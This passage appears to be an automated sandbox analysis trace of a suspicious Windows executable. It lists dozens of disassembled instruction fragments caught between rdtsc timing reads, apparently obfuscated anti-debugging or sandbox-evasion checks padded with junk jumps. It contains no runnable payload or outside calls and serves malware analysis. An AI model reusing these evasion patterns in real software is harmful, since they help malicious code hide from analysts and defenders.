Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60DB0 second address: 4E60E81 instructions: 0x00000000 rdtsc 0x00000002 mov ch, bl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F4E14FBFA32h 0x0000000c jmp 00007F4E14FBFA35h 0x00000011 popfd 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F4E14FBFA2Eh 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F4E14FBFA2Eh 0x00000022 and ecx, 0C757488h 0x00000028 jmp 00007F4E14FBFA2Bh 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007F4E14FBFA38h 0x00000034 sbb eax, 20E5D6E8h 0x0000003a jmp 00007F4E14FBFA2Bh 0x0000003f popfd 0x00000040 popad 0x00000041 xchg eax, ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov edi, 10216A56h 0x0000004a pushfd 0x0000004b jmp 00007F4E14FBFA37h 0x00000050 and eax, 5805BEDEh 0x00000056 jmp 00007F4E14FBFA39h 0x0000005b popfd 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60E81 second address: 4E60EF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov esi, 04C6E29Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F4E14FCA665h 0x00000014 xchg eax, ecx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F4E14FCA65Ch 0x0000001c jmp 00007F4E14FCA665h 0x00000021 popfd 0x00000022 mov esi, 043C1167h 0x00000027 popad 0x00000028 mov dword ptr [ebp-04h], 55534552h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F4E14FCA669h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60EF2 second address: 4E60EF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60F0B second address: 4E60F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60F0F second address: 4E60F28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F4E14FBFA31h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60F28 second address: 4E60F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 leave 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov edi, esi 0x0000000c mov ecx, 58ACDDB1h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A4C second address: 4E70A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A50 second address: 4E70A63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A63 second address: 4E70AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov si, dx 0x00000013 pushfd 0x00000014 jmp 00007F4E14FBFA35h 0x00000019 adc si, 2046h 0x0000001e jmp 00007F4E14FBFA31h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AA4 second address: 4E70ADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 movsx ebx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75AB459Ch], 05h 0x00000012 jmp 00007F4E14FCA662h 0x00000017 je 00007F4E85BA858Dh 0x0000001d pushad 0x0000001e mov si, C4ADh 0x00000022 mov ax, FEA9h 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70ADE second address: 4E70AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ch, bh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AE5 second address: 4E70AEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AEB second address: 4E70AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B11 second address: 4E70B54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 2543392Fh 0x0000000e pushad 0x0000000f movsx edx, ax 0x00000012 popad 0x00000013 add dword ptr [esp], 506762F9h 0x0000001a jmp 00007F4E14FCA668h 0x0000001f call 00007F4E85BAF67Fh 0x00000024 push 75A52B70h 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov eax, dword ptr [esp+10h] 0x00000034 mov dword ptr [esp+10h], ebp 0x00000038 lea ebp, dword ptr [esp+10h] 0x0000003c sub esp, eax 0x0000003e push ebx 0x0000003f push esi 0x00000040 push edi 0x00000041 mov eax, dword ptr [75AB4538h] 0x00000046 xor dword ptr [ebp-04h], eax 0x00000049 xor eax, ebp 0x0000004b push eax 0x0000004c mov dword ptr [ebp-18h], esp 0x0000004f push dword ptr [ebp-08h] 0x00000052 mov eax, dword ptr [ebp-04h] 0x00000055 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005c mov dword ptr [ebp-08h], eax 0x0000005f lea eax, dword ptr [ebp-10h] 0x00000062 mov dword ptr fs:[00000000h], eax 0x00000068 ret 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B54 second address: 4E70B5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B5A second address: 4E70B7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov cx, di 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B7A second address: 4E70BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F4E14FBFA34h 0x0000000a add si, 7BF8h 0x0000000f jmp 00007F4E14FBFA2Bh 0x00000014 popfd 0x00000015 popad 0x00000016 mov dword ptr [ebp-1Ch], esi 0x00000019 pushad 0x0000001a pushad 0x0000001b mov ah, 48h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70BD2 second address: 4E70C54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c call 00007F4E14FCA664h 0x00000011 mov ecx, 6ECA9E01h 0x00000016 pop ecx 0x00000017 jmp 00007F4E14FCA667h 0x0000001c popad 0x0000001d je 00007F4E85B9E3C5h 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F4E14FCA664h 0x0000002a add ax, 0578h 0x0000002f jmp 00007F4E14FCA65Bh 0x00000034 popfd 0x00000035 mov dx, ax 0x00000038 popad 0x00000039 cmp dword ptr [ebp+08h], 00002000h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C54 second address: 4E70C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C58 second address: 4E70C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C5C second address: 4E70C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A4C second address: 4E80A5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A5B second address: 4E80A9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 19FFA47Ah 0x00000008 pushfd 0x00000009 jmp 00007F4E14FBFA2Bh 0x0000000e or cl, 0000001Eh 0x00000011 jmp 00007F4E14FBFA39h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F4E14FBFA2Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A9F second address: 4E80AFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 7A1171E2h 0x00000008 pushfd 0x00000009 jmp 00007F4E14FCA663h 0x0000000e adc cx, 1ADEh 0x00000013 jmp 00007F4E14FCA669h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F4E14FCA65Ah 0x00000026 adc cl, FFFFFFD8h 0x00000029 jmp 00007F4E14FCA65Bh 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80AFD second address: 4E80B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B02 second address: 4E80B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FCA662h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B18 second address: 4E80B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B1C second address: 4E80B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4E14FCA669h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B42 second address: 4E80B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B46 second address: 4E80B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B4C second address: 4E80B52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B52 second address: 4E80B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B56 second address: 4E80B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B5A second address: 4E80B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B6A second address: 4E80B70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B70 second address: 4E80BA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA666h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F4E14FCA660h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80BA2 second address: 4E80BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80BA6 second address: 4E80BAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80BAA second address: 4E80BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80BB0 second address: 4E80C0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E14FCA665h 0x00000009 add si, DFF6h 0x0000000e jmp 00007F4E14FCA661h 0x00000013 popfd 0x00000014 call 00007F4E14FCA660h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e pushad 0x0000001f call 00007F4E14FCA663h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C0B second address: 4E80C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov esi, dword ptr [ebp+0Ch] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cl, EAh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C1B second address: 4E80C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C20 second address: 4E80C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FBFA35h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C39 second address: 4E80CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F4E14FCA65Dh 0x0000000f je 00007F4E85B97DBDh 0x00000015 jmp 00007F4E14FCA65Eh 0x0000001a cmp dword ptr [75AB459Ch], 05h 0x00000021 pushad 0x00000022 mov edx, eax 0x00000024 call 00007F4E14FCA65Ah 0x00000029 pushfd 0x0000002a jmp 00007F4E14FCA662h 0x0000002f or cl, FFFFFF98h 0x00000032 jmp 00007F4E14FCA65Bh 0x00000037 popfd 0x00000038 pop eax 0x00000039 popad 0x0000003a je 00007F4E85BAFE51h 0x00000040 jmp 00007F4E14FCA65Fh 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 jmp 00007F4E14FCA664h 0x0000004c mov ebx, esi 0x0000004e popad 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80CD1 second address: 4E80CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80CD5 second address: 4E80CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80CD9 second address: 4E80CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D6D second address: 4E80D89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ebx 0x00000008 pop ecx 0x00000009 pop edi 0x0000000a popad 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4E14FCA65Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D89 second address: 4E80D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D8D second address: 4E80D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D93 second address: 4E80D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D99 second address: 4E80D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600DE53 second address: 600DE57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61885C8 second address: 61885CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61885CC second address: 61885D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616F9D3 second address: 616F9E3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4E14FCA662h 0x00000008 jnc 00007F4E14FCA656h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618760B second address: 6187628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F4E14FBFA3Ah 0x0000000d jmp 00007F4E14FBFA2Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187789 second address: 618778F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618778F second address: 6187795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187795 second address: 61877B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4E14FCA656h 0x0000000a jmp 00007F4E14FCA664h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187901 second address: 6187905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187905 second address: 618790F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4E14FCA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618790F second address: 6187931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F4E14FBFA26h 0x0000000b jmp 00007F4E14FBFA2Eh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F4E14FBFA26h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187A6E second address: 6187A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187A74 second address: 6187A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187A7C second address: 6187A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4E14FCA656h 0x0000000a jbe 00007F4E14FCA656h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6187D4A second address: 6187D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618AB21 second address: 618AB26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618AD22 second address: 618ADB0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E14FBFA28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push esi 0x0000000f jmp 00007F4E14FBFA2Bh 0x00000014 pop esi 0x00000015 pop eax 0x00000016 add edx, dword ptr [ebp+122D3AC4h] 0x0000001c push 00000003h 0x0000001e mov esi, edx 0x00000020 jmp 00007F4E14FBFA2Bh 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D1C2Bh], edi 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F4E14FBFA28h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 mov edx, dword ptr [ebp+122D3CA4h] 0x0000004f call 00007F4E14FBFA29h 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jmp 00007F4E14FBFA2Ch 0x0000005c jmp 00007F4E14FBFA2Eh 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618ADB0 second address: 618ADC2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4E14FCA658h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618ADC2 second address: 618ADC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618ADC6 second address: 618ADD0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618ADD0 second address: 618AE6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F4E14FBFA2Dh 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 jc 00007F4E14FBFA3Eh 0x00000019 jmp 00007F4E14FBFA38h 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 popad 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 jmp 00007F4E14FBFA35h 0x0000002e pop eax 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F4E14FBFA28h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 jmp 00007F4E14FBFA2Ch 0x0000004e mov ecx, ebx 0x00000050 lea ebx, dword ptr [ebp+124509E6h] 0x00000056 mov dword ptr [ebp+122D2948h], edx 0x0000005c push eax 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jng 00007F4E14FBFA26h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618AEAE second address: 618AEB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618AEB2 second address: 618AF15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 je 00007F4E14FBFA26h 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F4E14FBFA33h 0x00000015 nop 0x00000016 mov edi, dword ptr [ebp+122D3A2Ch] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F4E14FBFA28h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 push 7B16A5CDh 0x0000003d js 00007F4E14FBFA40h 0x00000043 push eax 0x00000044 push edx 0x00000045 jp 00007F4E14FBFA26h 0x0000004b rdtsc
